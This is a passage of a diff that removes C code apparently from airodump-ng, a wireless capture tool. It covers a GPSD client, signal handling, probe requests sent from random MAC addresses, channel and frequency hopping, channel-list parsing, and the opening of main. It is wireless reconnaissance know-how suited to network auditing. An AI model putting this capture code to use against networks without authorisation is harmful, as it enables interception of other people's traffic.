-	while (strchr_n(buffer, 0x0A, pos) == NULL && status > 0 && pos < size)
-	{
-		status = recv(sock, buffer + pos, size - pos, 0);
-		if (status > 0)
-		{
-			pos += status;
-		}
-	}
-
-	if (status <= 0)
-	{
-		return status;
-	}
-	else if (pos == size && strchr_n(buffer, 0x0A, pos) == NULL)
-	{
-		return -1;
-	}
-
-	return pos;
-}
-
-/* Remove a newline-terminated block of data from a buffer, replacing
- * the newline with a '\0'.
- *
- * Returns the number of characters left in the buffer, or -1 if the
- * buffer did not contain a newline.
- */
-static int get_line_from_buffer(char * buffer, int size, char * line)
-{
-	char * cursor = strchr_n(buffer, 0x0A, size);
-	if (NULL != cursor)
-	{
-		*cursor = '\0';
-		cursor++;
-		strcpy(line, buffer);
-		memmove(buffer, cursor, size - (strlen(line) + 1));
-		return size - (strlen(line) + 1);
-	}
-
-	return -1;
-}
-
-/* Extract a name:value pair from a null-terminated line of JSON.
- *
- * Returns 1 if the name was found, or 0 otherwise.
- *
- * The string in "value" is null-terminated if the name was found.  If
- * the name was not found, the contents of "value" are undefined.
- */
-static int
-json_get_value_for_name(const char * buffer, const char * name, char * value)
-{
-	char * to_find;
-	char * cursor;
-	size_t to_find_len;
-	char * vcursor = value;
-	int ret = 0;
-
-	if (buffer == NULL || strlen(buffer) == 0 || name == NULL
-		|| strlen(name) == 0
-		|| value == NULL)
-	{
-		return 0;
-	}
-
-	to_find_len = strlen(name) + 3;
-	to_find = (char *) malloc(to_find_len);
-	snprintf(to_find, to_find_len, "\"%s\"", name);
-	cursor = strstr(buffer, to_find);
-	free(to_find);
-	if (cursor != NULL)
-	{
-		cursor += to_find_len - 1;
-		while (*cursor != ':' && *cursor != '\0')
-		{
-			cursor++;
-		}
-		if (*cursor != '\0')
-		{
-			cursor++;
-			while (isspace((int) (*cursor)) && *cursor != '\0')
-			{
-				cursor++;
-			}
-		}
-		if ('\0' == *cursor)
-		{
-			return 0;
-		}
-
-		if ('"' == *cursor)
-		{
-			/* Quoted string */
-			cursor++;
-			while (*cursor != '"' && *cursor != '\0')
-			{
-				if ('\\' == *cursor && '"' == *(cursor + 1))
-				{
-					/* Escaped quote */
-					*vcursor = '"';
-					cursor++;
-				}
-				else
-				{
-					*vcursor = *cursor;
-				}
-				vcursor++;
-				cursor++;
-			}
-			*vcursor = '\0';
-			ret = 1;
-		}
-		else if (strncmp(cursor, "true", 4) == 0)
-		{
-			/* Boolean */
-			strcpy(value, "true");
-			ret = 1;
-		}
-		else if (strncmp(cursor, "false", 5) == 0)
-		{
-			/* Boolean */
-			strcpy(value, "false");
-			ret = 1;
-		}
-		else if ('{' == *cursor || '[' == *cursor)
-		{
-			/* Object or array.  Too hard to handle and not needed for
-			 * getting coords from GPSD, so pretend we didn't see anything.
-			 */
-			ret = 0;
-		}
-		else
-		{
-			/* Number, supposedly.  Copy as-is. */
-			while (*cursor != ',' && *cursor != '}'
-				   && !isspace((int) (*cursor)))
-			{
-				*vcursor = *cursor;
-				cursor++;
-				vcursor++;
-			}
-			*vcursor = '\0';
-			ret = 1;
-		}
-	}
-
-	return ret;
-}
-
-static void gps_tracker(pid_t parent)
-{
-	ssize_t unused;
-	int gpsd_sock;
-	char line[1537], buffer[1537], data[1537];
-	char * temp;
-	struct sockaddr_in gpsd_addr;
-	int ret, is_json, pos;
-	int mode;
-	fd_set read_fd;
-	struct timeval timeout;
-	memset(line, 0, 1537);
-	memset(buffer, 0, 1537);
-	memset(data, 0, 1537);
-
-	/* attempt to connect to localhost, port 2947 */
-
-	pos = 0;
-	gpsd_sock = socket(AF_INET, SOCK_STREAM, 0);
-
-	if (gpsd_sock < 0)
-	{
-		return;
-	}
-
-	memset(&gpsd_addr, 0, sizeof(struct sockaddr_in));
-	gpsd_addr.sin_family = AF_INET;
-	gpsd_addr.sin_port = htons(2947);
-	gpsd_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
-
-	if (connect(gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof(gpsd_addr))
-		< 0)
-	{
-		close(gpsd_sock);
-		return;
-	}
-
-	// Check if it's GPSd < 2.92 or the new one
-	// 2.92+ immediately sends version information
-	// < 2.92 requires to send PVTAD command
-	FD_ZERO(&read_fd);
-	FD_SET(gpsd_sock, &read_fd);
-	timeout.tv_sec = 1;
-	timeout.tv_usec = 0;
-	is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout);
-
-	if (is_json > 0)
-	{
-		/* Probably JSON.  Read the first line and verify it's a version of the
-		 * protocol we speak. */
-
-		if ((pos = read_line(gpsd_sock, buffer, 0, sizeof(buffer))) <= 0)
-			return;
-
-		pos = get_line_from_buffer(buffer, pos, line);
-
-		is_json = (json_get_value_for_name(line, "class", data)
-				   && strncmp(data, "VERSION", 7) == 0);
-
-		if (is_json)
-		{
-			/* Verify it's a version of the protocol we speak */
-			if (json_get_value_for_name(line, "proto_major", data)
-				&& data[0] != '3')
-			{
-				/* It's an unknown version of the protocol.  Bail out. */
-				return;
-			}
-
-			// Send ?WATCH={"json":true};
-			memset(line, 0, sizeof(line));
-			strcpy(line, "?WATCH={\"json\":true};\n");
-			if (send(gpsd_sock, line, 22, 0) != 22)
-			{
-				return;
-			}
-			// Device check removed -- if there isn't a device, just
-			// read and discard lines until the user plugs one in, at
-			// which point GPSD will start emitting coordinates.
-		}
-	}
-	else if (is_json < 0)
-	{
-		/* An error occurred while we were waiting for data */
-		return;
-	}
-	/* Else select() returned zero (timeout expired) and we assume we're
-	 * connected to an old-style gpsd. */
-
-	/* loop reading the GPS coordinates */
-	while (G.do_exit == 0)
-	{
-		usleep(500000);
-		memset(G.gps_loc, 0, sizeof(float) * 5);
-
-		/* read position, speed, heading, altitude */
-		if (is_json)
-		{
-			// Format definition: http://catb.org/gpsd/gpsd_json.html
-
-			if ((pos = read_line(gpsd_sock, buffer, pos, sizeof(buffer))) <= 0)
-			{
-				return;
-			}
-			pos = get_line_from_buffer(buffer, pos, line);
-
-			// See if we got a TPV report
-			if (!json_get_value_for_name(line, "class", data)
-				|| strncmp(data, "TPV", 3) != 0)
-			{
-				/* Not a TPV report.  Get another line. */
-
-				continue;
-			}
-
-			/* See what sort of GPS fix we got.  Possibilities are:
-		* 0: No data
-		* 1: No fix
-		* 2: Lat/Lon, but no alt
-		* 3: Lat/Lon/Alt
-		* Either 2 or 3 may also have speed and heading data.
-		*/
-			if (!json_get_value_for_name(line, "mode", data)
-				|| (mode = atoi(data)) < 2)
-			{
-				/* No GPS fix, so there are no coordinates to extract. */
-				continue;
-			}
-
-			/* Extract the available data from the TPV report.  If we're
-		* in mode 2, latitude and longitude are mandatory, altitude
-		* is set to 0, and speed and heading are optional.
-		* In mode 3, latitude, longitude, and altitude are mandatory,
-		* while speed and heading are optional.
-		* If we can't get a mandatory value, the line is discarded
-		* as fragmentary or malformed.  If we can't get an optional
-		* value, we default it to 0.
-		*/
-
-			// Latitude
-			if (!json_get_value_for_name(line, "lat", data)) continue;
-			if (1 != sscanf(data, "%f", &G.gps_loc[0])) continue;
-
-			// Longitude
-			if (!json_get_value_for_name(line, "lon", data)) continue;
-			if (1 != sscanf(data, "%f", &G.gps_loc[1])) continue;
-
-			// Altitude
-			if (3 == mode)
-			{
-				if (!json_get_value_for_name(line, "alt", data)) continue;
-				if (1 != sscanf(data, "%f", &G.gps_loc[4])) continue;
-			}
-			else
-			{
-				G.gps_loc[4] = 0;
-			}
-
-			// Speed
-			if (!json_get_value_for_name(line, "speed", data))
-			{
-				G.gps_loc[2] = 0;
-			}
-			else
-			{
-				if (1 != sscanf(data, "%f", &G.gps_loc[2])) G.gps_loc[2] = 0;
-			}
-
-			// Heading
-			if (!json_get_value_for_name(line, "track", data))
-			{
-				G.gps_loc[3] = 0;
-			}
-			else
-			{
-				if (1 != sscanf(data, "%f", &G.gps_loc[3])) G.gps_loc[3] = 0;
-			}
-		}
-		else
-		{
-			memset(line, 0, sizeof(line));
-
-			snprintf(line, sizeof(line) - 1, "PVTAD\r\n");
-			if (send(gpsd_sock, line, 7, 0) != 7) return;
-
-			memset(line, 0, sizeof(line));
-			if (recv(gpsd_sock, line, sizeof(line) - 1, 0) <= 0) return;
-
-			if (memcmp(line, "GPSD,P=", 7) != 0) continue;
-
-			/* make sure the coordinates are present */
-
-			if (line[7] == '?') continue;
-
-			ret = sscanf(line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1]);
-
-			if ((temp = strstr(line, "V=")) == NULL) continue;
-			ret = sscanf(temp + 2, "%f", &G.gps_loc[2]); /* speed */
-
-			if ((temp = strstr(line, "T=")) == NULL) continue;
-			ret = sscanf(temp + 2, "%f", &G.gps_loc[3]); /* heading */
-
-			if ((temp = strstr(line, "A=")) == NULL) continue;
-			ret = sscanf(temp + 2, "%f", &G.gps_loc[4]); /* altitude */
-		}
-
-		if (G.record_data) fputs(line, G.f_gps);
-
-		G.save_gps = 1;
-
-		if (G.do_exit == 0)
-		{
-			unused = write(G.gc_pipe[1], G.gps_loc, sizeof(float) * 5);
-			kill(parent, SIGUSR2);
-		}
-	}
-}
-
-static void sighandler(int signum)
-{
-	ssize_t unused;
-	int card = 0;
-	signal(signum, sighandler);
-
-	if (signum == SIGUSR1)
-	{
-		unused = read(G.cd_pipe[0], &card, sizeof(int));
-		if (unused < 0)
-		{
-			// error occurred
-			perror("read");
-			return;
-		}
-		else if (unused == 0)
-		{
-			// EOF
-			perror("EOF encountered read(G.cd_pipe[0])");
-			return;
-		}
-
-		if (card < 0 || (size_t) card >= ArrayCount(G.frequency))
-		{
-			// invalid received data
-			fprintf(stderr,
-					"Invalid data received for read(G.cd_pipe[0]), got %d\n",
-					card);
-			return;
-		}
-
-		if (G.freqoption)
-			unused = read(G.ch_pipe[0], &(G.frequency[card]), sizeof(int));
-		else
-			unused = read(G.ch_pipe[0], &(G.channel[card]), sizeof(int));
-	}
-
-	if (signum == SIGUSR2)
-		unused = read(G.gc_pipe[0], &G.gps_loc, sizeof(float) * 5);
-
-	if (signum == SIGINT || signum == SIGTERM)
-	{
-		reset_term();
-		alarm(1);
-		G.do_exit = 1;
-		signal(SIGALRM, sighandler);
-#if defined(__sun__)
-		fprintf(stdout, "\n");
-#else
-		dprintf(STDOUT_FILENO, "\n");
-#endif
-	}
-
-	if (signum == SIGSEGV)
-	{
-		fprintf(stderr,
-				"Caught signal 11 (SIGSEGV). Please"
-				" contact the author!\n\n");
-		show_cursor();
-		fflush(stdout);
-		exit(1);
-	}
-
-	if (signum == SIGALRM)
-	{
-#if defined(__sun__)
-		fprintf(stdout,
-#else
-		dprintf(STDERR_FILENO,
-#endif
-				"Caught signal 14 (SIGALRM). Please"
-				" contact the author!\n\n");
-		show_cursor();
-		_exit(1);
-	}
-
-	if (signum == SIGCHLD) wait(NULL);
-
-	if (signum == SIGWINCH)
-	{
-		erase_display(0);
-		fflush(stdout);
-	}
-}
-
-static int send_probe_request(struct wif * wi)
-{
-	int len;
-	unsigned char p[4096], r_smac[6];
-
-	memcpy(p, PROBE_REQ, 24);
-
-	len = 24;
-
-	p[24] = 0x00; // ESSID Tag Number
-	p[25] = 0x00; // ESSID Tag Length
-
-	len += 2;
-
-	memcpy(p + len, RATES, 16);
-
-	len += 16;
-
-	r_smac[0] = 0x00;
-	r_smac[1] = rand() & 0xFF;
-	r_smac[2] = rand() & 0xFF;
-	r_smac[3] = rand() & 0xFF;
-	r_smac[4] = rand() & 0xFF;
-	r_smac[5] = rand() & 0xFF;
-
-	memcpy(p + 10, r_smac, 6);
-
-	if (wi_write(wi, p, len, NULL) == -1)
-	{
-		switch (errno)
-		{
-			case EAGAIN:
-			case ENOBUFS:
-				usleep(10000);
-				return 0; /* XXX not sure I like this... -sorbo */
-		}
-
-		perror("wi_write()");
-		return -1;
-	}
-
-	return 0;
-}
-
-static int send_probe_requests(struct wif * wi[], int cards)
-{
-	int i = 0;
-	for (i = 0; i < cards; i++)
-	{
-		send_probe_request(wi[i]);
-	}
-	return 0;
-}
-
-static int getchancount(int valid)
-{
-	int i = 0, chan_count = 0;
-
-	while (G.channels[i])
-	{
-		i++;
-		if (G.channels[i] != -1) chan_count++;
-	}
-
-	if (valid) return chan_count;
-	return i;
-}
-
-static int getfreqcount(int valid)
-{
-	int i = 0, freq_count = 0;
-
-	while (G.own_frequencies[i])
-	{
-		i++;
-		if (G.own_frequencies[i] != -1) freq_count++;
-	}
-
-	if (valid) return freq_count;
-	return i;
-}
-
-static void
-channel_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
-{
-	ssize_t unused;
-	int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
-			again = 1;
-	int dropped = 0;
-
-	while (0 == kill(parent, 0))
-	{
-		for (j = 0; j < if_num; j++)
-		{
-			again = 1;
-
-			ch_idx = chi % chan_count;
-
-			card = cai % if_num;
-
-			++chi;
-			++cai;
-
-			if (G.chswitch == 2 && !first)
-			{
-				j = if_num - 1;
-				card = if_num - 1;
-
-				if (getchancount(1) > if_num)
-				{
-					while (again)
-					{
-						again = 0;
-						for (k = 0; k < (if_num - 1); k++)
-						{
-							if (G.channels[ch_idx] == G.channel[k])
-							{
-								again = 1;
-								ch_idx = chi % chan_count;
-								chi++;
-							}
-						}
-					}
-				}
-			}
-
-			if (G.channels[ch_idx] == -1)
-			{
-				j--;
-				cai--;
-				dropped++;
-				if (dropped >= chan_count)
-				{
-					ch = wi_get_channel(wi[card]);
-					G.channel[card] = ch;
-					unused = write(G.cd_pipe[1], &card, sizeof(int));
-					unused = write(G.ch_pipe[1], &ch, sizeof(int));
-					kill(parent, SIGUSR1);
-					usleep(1000);
-				}
-				continue;
-			}
-
-			dropped = 0;
-
-			ch = G.channels[ch_idx];
-
-#ifdef CONFIG_LIBNL
-			if (wi_set_ht_channel(wi[card], ch, G.htval) == 0)
-#else
-			if (wi_set_channel(wi[card], ch) == 0)
-#endif
-			{
-				G.channel[card] = ch;
-				unused = write(G.cd_pipe[1], &card, sizeof(int));
-				unused = write(G.ch_pipe[1], &ch, sizeof(int));
-				if (G.active_scan_sim > 0) send_probe_request(wi[card]);
-				kill(parent, SIGUSR1);
-				usleep(1000);
-			}
-			else
-			{
-				G.channels[ch_idx] = -1; /* remove invalid channel */
-				j--;
-				cai--;
-				continue;
-			}
-		}
-
-		if (G.chswitch == 0)
-		{
-			chi = chi - (if_num - 1);
-		}
-
-		if (first)
-		{
-			first = 0;
-		}
-
-		usleep((G.hopfreq * 1000));
-	}
-
-	exit(0);
-}
-
-static void
-frequency_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
-{
-	ssize_t unused;
-	int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
-			again = 1;
-	int dropped = 0;
-
-	while (0 == kill(parent, 0))
-	{
-		for (j = 0; j < if_num; j++)
-		{
-			again = 1;
-
-			ch_idx = chi % chan_count;
-
-			card = cai % if_num;
-
-			++chi;
-			++cai;
-
-			if (G.chswitch == 2 && !first)
-			{
-				j = if_num - 1;
-				card = if_num - 1;
-
-				if (getfreqcount(1) > if_num)
-				{
-					while (again)
-					{
-						again = 0;
-						for (k = 0; k < (if_num - 1); k++)
-						{
-							if (G.own_frequencies[ch_idx] == G.frequency[k])
-							{
-								again = 1;
-								ch_idx = chi % chan_count;
-								chi++;
-							}
-						}
-					}
-				}
-			}
-
-			if (G.own_frequencies[ch_idx] == -1)
-			{
-				j--;
-				cai--;
-				dropped++;
-				if (dropped >= chan_count)
-				{
-					ch = wi_get_freq(wi[card]);
-					G.frequency[card] = ch;
-					unused = write(G.cd_pipe[1], &card, sizeof(int));
-					unused = write(G.ch_pipe[1], &ch, sizeof(int));
-					kill(parent, SIGUSR1);
-					usleep(1000);
-				}
-				continue;
-			}
-
-			dropped = 0;
-
-			ch = G.own_frequencies[ch_idx];
-
-			if (wi_set_freq(wi[card], ch) == 0)
-			{
-				G.frequency[card] = ch;
-				unused = write(G.cd_pipe[1], &card, sizeof(int));
-				unused = write(G.ch_pipe[1], &ch, sizeof(int));
-				kill(parent, SIGUSR1);
-				usleep(1000);
-			}
-			else
-			{
-				G.own_frequencies[ch_idx] = -1; /* remove invalid channel */
-				j--;
-				cai--;
-				continue;
-			}
-		}
-
-		if (G.chswitch == 0)
-		{
-			chi = chi - (if_num - 1);
-		}
-
-		if (first)
-		{
-			first = 0;
-		}
-
-		usleep((G.hopfreq * 1000));
-	}
-
-	exit(0);
-}
-
-static int invalid_channel(int chan)
-{
-	int i = 0;
-
-	do
-	{
-		if (chan == abg_chans[i] && chan != 0) return 0;
-	} while (abg_chans[++i]);
-	return 1;
-}
-
-static int invalid_frequency(int freq)
-{
-	int i = 0;
-
-	do
-	{
-		if (freq == frequencies[i] && freq != 0) return 0;
-	} while (frequencies[++i]);
-	return 1;
-}
-
-/* parse a string, for example "1,2,3-7,11" */
-
-static int getchannels(const char * optarg)
-{
-	unsigned int i = 0, chan_cur = 0, chan_first = 0, chan_last = 0,
-				 chan_max = 128, chan_remain = 0;
-	char *optchan = NULL, *optc;
-	char * token = NULL;
-	int * tmp_channels;
-
-	// got a NULL pointer?
-	if (optarg == NULL) return -1;
-
-	chan_remain = chan_max;
-
-	// create a writable string
-	optc = optchan = (char *) malloc(strlen(optarg) + 1);
-	strncpy(optchan, optarg, strlen(optarg));
-	optchan[strlen(optarg)] = '\0';
-
-	tmp_channels = (int *) malloc(sizeof(int) * (chan_max + 1));
-
-	// split string in tokens, separated by ','
-	while ((token = strsep(&optchan, ",")) != NULL)
-	{
-		// range defined?
-		if (strchr(token, '-') != NULL)
-		{
-			// only 1 '-' ?
-			if (strchr(token, '-') == strrchr(token, '-'))
-			{
-				// are there any illegal characters?
-				for (i = 0; i < strlen(token); i++)
-				{
-					if (((token[i] < '0') || (token[i] > '9'))
-						&& (token[i] != '-'))
-					{
-						free(tmp_channels);
-						free(optc);
-						return -1;
-					}
-				}
-
-				if (sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF)
-				{
-					if (chan_first > chan_last)
-					{
-						free(tmp_channels);
-						free(optc);
-						return -1;
-					}
-					for (i = chan_first; i <= chan_last; i++)
-					{
-						if ((!invalid_channel(i)) && (chan_remain > 0))
-						{
-							tmp_channels[chan_max - chan_remain] = i;
-							chan_remain--;
-						}
-					}
-				}
-				else
-				{
-					free(tmp_channels);
-					free(optc);
-					return -1;
-				}
-			}
-			else
-			{
-				free(tmp_channels);
-				free(optc);
-				return -1;
-			}
-		}
-		else
-		{
-			// are there any illegal characters?
-			for (i = 0; i < strlen(token); i++)
-			{
-				if ((token[i] < '0') || (token[i] > '9'))
-				{
-					free(tmp_channels);
-					free(optc);
-					return -1;
-				}
-			}
-
-			if (sscanf(token, "%d", &chan_cur) != EOF)
-			{
-				if ((!invalid_channel(chan_cur)) && (chan_remain > 0))
-				{
-					tmp_channels[chan_max - chan_remain] = chan_cur;
-					chan_remain--;
-				}
-			}
-			else
-			{
-				free(tmp_channels);
-				free(optc);
-				return -1;
-			}
-		}
-	}
-
-	G.own_channels = (int *) malloc(sizeof(int) * (chan_max - chan_remain + 1));
-
-	for (i = 0; i < (chan_max - chan_remain); i++)
-	{
-		G.own_channels[i] = tmp_channels[i];
-	}
-
-	G.own_channels[i] = 0;
-
-	free(tmp_channels);
-	free(optc);
-	if (i == 1) return G.own_channels[0];
-	if (i == 0) return -1;
-	return 0;
-}
-
-/* parse a string, for example "1,2,3-7,11" */
-
-static int getfrequencies(const char * optarg)
-{
-	unsigned int i = 0, freq_cur = 0, freq_first = 0, freq_last = 0,
-				 freq_max = 10000, freq_remain = 0;
-	char *optfreq = NULL, *optc;
-	char * token = NULL;
-	int * tmp_frequencies;
-
-	// got a NULL pointer?
-	if (optarg == NULL) return -1;
-
-	freq_remain = freq_max;
-
-	// create a writable string
-	optc = optfreq = (char *) malloc(strlen(optarg) + 1);
-	strncpy(optfreq, optarg, strlen(optarg));
-	optfreq[strlen(optarg)] = '\0';
-
-	tmp_frequencies = (int *) malloc(sizeof(int) * (freq_max + 1));
-
-	// split string in tokens, separated by ','
-	while ((token = strsep(&optfreq, ",")) != NULL)
-	{
-		// range defined?
-		if (strchr(token, '-') != NULL)
-		{
-			// only 1 '-' ?
-			if (strchr(token, '-') == strrchr(token, '-'))
-			{
-				// are there any illegal characters?
-				for (i = 0; i < strlen(token); i++)
-				{
-					if ((token[i] < '0' || token[i] > '9') && (token[i] != '-'))
-					{
-						free(tmp_frequencies);
-						free(optc);
-						return -1;
-					}
-				}
-
-				if (sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF)
-				{
-					if (freq_first > freq_last)
-					{
-						free(tmp_frequencies);
-						free(optc);
-						return -1;
-					}
-					for (i = freq_first; i <= freq_last; i++)
-					{
-						if ((!invalid_frequency(i)) && (freq_remain > 0))
-						{
-							tmp_frequencies[freq_max - freq_remain] = i;
-							freq_remain--;
-						}
-					}
-				}
-				else
-				{
-					free(tmp_frequencies);
-					free(optc);
-					return -1;
-				}
-			}
-			else
-			{
-				free(tmp_frequencies);
-				free(optc);
-				return -1;
-			}
-		}
-		else
-		{
-			// are there any illegal characters?
-			for (i = 0; i < strlen(token); i++)
-			{
-				if ((token[i] < '0') || (token[i] > '9'))
-				{
-					free(tmp_frequencies);
-					free(optc);
-					return -1;
-				}
-			}
-
-			if (sscanf(token, "%d", &freq_cur) != EOF)
-			{
-				if ((!invalid_frequency(freq_cur)) && (freq_remain > 0))
-				{
-					tmp_frequencies[freq_max - freq_remain] = freq_cur;
-					freq_remain--;
-				}
-
-				/* special case "-C 0" means: scan all available frequencies */
-				if (freq_cur == 0)
-				{
-					freq_first = 1;
-					freq_last = 9999;
-					for (i = freq_first; i <= freq_last; i++)
-					{
-						if ((!invalid_frequency(i)) && (freq_remain > 0))
-						{
-							tmp_frequencies[freq_max - freq_remain] = i;
-							freq_remain--;
-						}
-					}
-				}
-			}
-			else
-			{
-				free(tmp_frequencies);
-				free(optc);
-				return -1;
-			}
-		}
-	}
-
-	G.own_frequencies
-		= (int *) malloc(sizeof(int) * (freq_max - freq_remain + 1));
-
-	for (i = 0; i < (freq_max - freq_remain); i++)
-	{
-		G.own_frequencies[i] = tmp_frequencies[i];
-	}
-
-	G.own_frequencies[i] = 0;
-
-	free(tmp_frequencies);
-	free(optc);
-	if (i == 1) return G.own_frequencies[0]; // exactly 1 frequency given
-	if (i == 0) return -1; // error occurred
-	return 0; // frequency hopping
-}
-
-static int setup_card(char * iface, struct wif ** wis)
-{
-	struct wif * wi;
-
-	wi = wi_open(iface);
-	if (!wi) return -1;
-	*wis = wi;
-
-	return 0;
-}
-
-static int init_cards(const char * cardstr, char * iface[], struct wif ** wi)
-{
-	char * buffer;
-	char * buf;
-	int if_count = 0;
-	int i = 0, again = 0;
-
-	// Check card string is valid
-	if (cardstr == NULL || cardstr[0] == 0)
-	{
-		return -1;
-	}
-
-	buf = buffer = strdup(cardstr);
-	if (buf == NULL)
-	{
-		return -1;
-	}
-
-	while (((iface[if_count] = strsep(&buffer, ",")) != NULL)
-		   && (if_count < MAX_CARDS))
-	{
-		again = 0;
-		for (i = 0; i < if_count; i++)
-		{
-			if (strcmp(iface[i], iface[if_count]) == 0) again = 1;
-		}
-		if (again) continue;
-		if (setup_card(iface[if_count], &(wi[if_count])) != 0)
-		{
-			free(buf);
-			return -1;
-		}
-		if_count++;
-	}
-
-	free(buf);
-	return if_count;
-}
-
-static int set_encryption_filter(const char * input)
-{
-	if (input == NULL) return 1;
-
-	if (strlen(input) < 3) return 1;
-
-	if (strcasecmp(input, "opn") == 0) G.f_encrypt |= STD_OPN;
-
-	if (strcasecmp(input, "wep") == 0) G.f_encrypt |= STD_WEP;
-
-	if (strcasecmp(input, "wpa") == 0)
-	{
-		G.f_encrypt |= STD_WPA;
-		G.f_encrypt |= STD_WPA2;
-	}
-
-	if (strcasecmp(input, "wpa1") == 0) G.f_encrypt |= STD_WPA;
-
-	if (strcasecmp(input, "wpa2") == 0) G.f_encrypt |= STD_WPA2;
-
-	return 0;
-}
-
-static int check_monitor(struct wif * wi[], int * fd_raw, int * fdh, int cards)
-{
-	int i, monitor;
-	char ifname[64];
-
-	for (i = 0; i < cards; i++)
-	{
-		monitor = wi_get_monitor(wi[i]);
-		if (monitor != 0)
-		{
-			memset(G.message, '\x00', sizeof(G.message));
-			snprintf(G.message,
-					 sizeof(G.message),
-					 "][ %s reset to monitor mode",
-					 wi_get_ifname(wi[i]));
-			// reopen in monitor mode
-
-			strncpy(ifname, wi_get_ifname(wi[i]), sizeof(ifname) - 1);
-			ifname[sizeof(ifname) - 1] = 0;
-
-			wi_close(wi[i]);
-			wi[i] = wi_open(ifname);
-			if (!wi[i])
-			{
-				printf("Can't reopen %s\n", ifname);
-				exit(1);
-			}
-
-			fd_raw[i] = wi_fd(wi[i]);
-			if (fd_raw[i] > *fdh) *fdh = fd_raw[i];
-		}
-	}
-	return 0;
-}
-
-static int check_channel(struct wif * wi[], int cards)
-{
-	int i, chan;
-	for (i = 0; i < cards; i++)
-	{
-		chan = wi_get_channel(wi[i]);
-		if (G.ignore_negative_one == 1 && chan == -1) return 0;
-		if (G.channel[i] != chan)
-		{
-			memset(G.message, '\x00', sizeof(G.message));
-			snprintf(G.message,
-					 sizeof(G.message),
-					 "][ fixed channel %s: %d ",
-					 wi_get_ifname(wi[i]),
-					 chan);
-#ifdef CONFIG_LIBNL
-			wi_set_ht_channel(wi[i], G.channel[i], G.htval);
-#else
-			wi_set_channel(wi[i], G.channel[i]);
-#endif
-		}
-	}
-	return 0;
-}
-
-static int check_frequency(struct wif * wi[], int cards)
-{
-	int i, freq;
-	for (i = 0; i < cards; i++)
-	{
-		freq = wi_get_freq(wi[i]);
-		if (freq < 0) continue;
-		if (G.frequency[i] != freq)
-		{
-			memset(G.message, '\x00', sizeof(G.message));
-			snprintf(G.message,
-					 sizeof(G.message),
-					 "][ fixed frequency %s: %d ",
-					 wi_get_ifname(wi[i]),
-					 freq);
-			wi_set_freq(wi[i], G.frequency[i]);
-		}
-	}
-	return 0;
-}
-
-static int detect_frequencies(struct wif * wi)
-{
-	int start_freq = 2192;
-	int end_freq = 2732;
-	int max_freq_num = 2048; // should be enough to keep all available channels
-	int freq = 0, i = 0;
-
-	printf("Checking available frequencies, this could take few seconds.\n");
-
-	frequencies = (int *) malloc(
-		(max_freq_num + 1) * sizeof(int)); // field for frequencies supported
-	memset(frequencies, 0, (max_freq_num + 1) * sizeof(int));
-	for (freq = start_freq; freq <= end_freq; freq += 5)
-	{
-		if (wi_set_freq(wi, freq) == 0)
-		{
-			frequencies[i] = freq;
-			i++;
-		}
-		if (freq == 2482)
-		{
-			// special case for chan 14, as its 12MHz away from 13, not 5MHz
-			freq = 2484;
-			if (wi_set_freq(wi, freq) == 0)
-			{
-				frequencies[i] = freq;
-				i++;
-			}
-			freq = 2482;
-		}
-	}
-
-	// again for 5GHz channels
-	start_freq = 4800;
-	end_freq = 6000;
-	for (freq = start_freq; freq <= end_freq; freq += 5)
-	{
-		if (wi_set_freq(wi, freq) == 0)
-		{
-			frequencies[i] = freq;
-			i++;
-		}
-	}
-
-	printf("Done.\n");
-	return 0;
-}
-
-static int array_contains(int * array, int length, int value)
-{
-	int i;
-	for (i = 0; i < length; i++)
-		if (array[i] == value) return 1;
-
-	return 0;
-}
-
-static int rearrange_frequencies(void)
-{
-	int * freqs;
-	int count, left, pos;
-	int width, last_used = 0;
-	int cur_freq, last_freq, round_done;
-	//     int i;
-
-	width = DEFAULT_CWIDTH;
-	cur_freq = 0;
-
-	count = getfreqcount(0);
-	left = count;
-	pos = 0;
-
-	freqs = malloc(sizeof(int) * (count + 1));
-	memset(freqs, 0, sizeof(int) * (count + 1));
-	round_done = 0;
-
-	while (left > 0)
-	{
-		//         printf("pos: %d\n", pos);
-		last_freq = cur_freq;
-		cur_freq = G.own_frequencies[pos % count];
-		if (cur_freq == last_used) round_done = 1;
-		//         printf("count: %d, left: %d, last_used: %d, cur_freq: %d,
-		//         width: %d\n", count, left, last_used, cur_freq, width);
-		if (((count - left) > 0) && !round_done
-			&& (ABS(last_used - cur_freq) < width))
-		{
-			//             printf("skip it!\n");
-			pos++;
-			continue;
-		}
-		if (!array_contains(freqs, count, cur_freq))
-		{
-			//             printf("not in there yet: %d\n", cur_freq);
-			freqs[count - left] = cur_freq;
-			last_used = cur_freq;
-			left--;
-			round_done = 0;
-		}
-
-		pos++;
-	}
-
-	memcpy(G.own_frequencies, freqs, count * sizeof(int));
-	free(freqs);
-
-	return 0;
-}
-
-int main(int argc, char * argv[])
-{
-	long time_slept, cycle_time, cycle_time2;
-	char * output_format_string;
-	int caplen = 0, i, j, fdh, fd_is_set, chan_count, freq_count, unused;
-	int fd_raw[MAX_CARDS], arptype[MAX_CARDS];
-	int ivs_only, found;
-	int valid_channel;
-	int freq[2];
-	int num_opts = 0;
-	int option = 0;
-	int option_index = 0;
-	char ifnam[64];
-	int wi_read_failed = 0;
-	int n = 0;
-	int output_format_first_time = 1;
-#ifdef HAVE_PCRE
-	const char * pcreerror;
-	int pcreerroffset;
-#endif
-
-	struct AP_info *ap_cur, *ap_prv, *ap_next;
-	struct ST_info *st_cur, *st_next;
-	struct NA_info *na_cur, *na_next;
-	struct oui *oui_cur, *oui_next;
-
-	struct pcap_pkthdr pkh;
-
-	time_t tt1, tt2, tt3, start_time;
-
-	struct wif * wi[MAX_CARDS];
-	struct rx_info ri;
-	unsigned char tmpbuf[4096];
-	unsigned char buffer[4096];
-	unsigned char * h80211;
-	char * iface[MAX_CARDS];
-
-	struct timeval tv0;
-	struct timeval tv1;
-	struct timeval tv2;
-	struct timeval tv3;
-	struct timeval tv4;
-	struct tm * lt;
-
-	/*
-	struct sockaddr_in provis_addr;
